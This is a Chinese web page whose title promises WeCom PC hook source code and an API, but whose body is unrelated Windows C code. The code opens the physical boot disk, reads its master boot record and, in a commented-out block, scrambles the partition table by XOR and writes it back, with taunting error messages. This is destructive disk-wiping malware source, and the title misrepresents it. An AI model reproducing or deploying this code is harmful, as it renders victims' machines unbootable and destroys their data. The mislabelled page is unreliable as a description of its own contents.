企业微信PC版hook源码api接口
613
2022-07-31
void GetDriveGeometry()
{
HANDLE hDevice = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
ExitProcess(0);
}
DWORD cout;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &cout, NULL);
DISK_GEOMETRY Getmetry;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &Getmetry, sizeof(Getmetry),
&cout, NULL);
LPTSTR szBuf;
szBuf = (LPTSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Getmetry.BytesPerSector);
if(szBuf == NULL)
{
ExitProcess(0);
}
DWORD bytes=512;
DWORD readsize;
BOOL m_ret;
m_ret=ReadFile(hDevice,szBuf,bytes,&readsize,NULL);
if(m_ret==FALSE || readsize<512)
{
ExitProcess(0);
}
BYTE MBR[513]={'\0'};
for(int n=0;n<512;n++)
{
MBR[n]=szBuf[n];
}
DeviceIoControl(hDevice,FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
CloseHandle(hDevice);
// MBR[0x1BE]=80;
// MBR[0x1BF]=0;
// MBR[0x1C2]=5;
// for(int i=0x1C3;i<=0x1FE;i++)
// {
// MBR[i]=MBR[i]^26;
// }
//
// hDevice=
// CreateFile("\\\\.\\PHYSICALDRIVE0",
// GENERIC_READ|GENERIC_WRITE,
// FILE_SHARE_READ|FILE_SHARE_WRITE,
// NULL,
// OPEN_EXISTING,
// 0,
// NULL
// );
// if(hDevice==INVALID_HANDLE_VALUE)
// {
// MessageBox(NULL,
// "Your luck's so good !","Man~",
// MB_IConERROR|MB_OK);
// ExitProcess(0);
// }
// DeviceIoControl(hDevice,FSCTL_LOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
//
// m_ret=WriteFile(hDevice,MBR,bytes,&readsize,NULL);
// if(m_ret==FALSE||readsize<512)
// {
// MessageBox(NULL,
// "Your luck's so good !","Shit",
// MB_IConERROR|MB_OK);
// ExitProcess(0);
// }
//
// DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME,NULL,0,NULL,0,&cout,NULL);
}
发表评论
暂时没有评论,来抢沙发吧~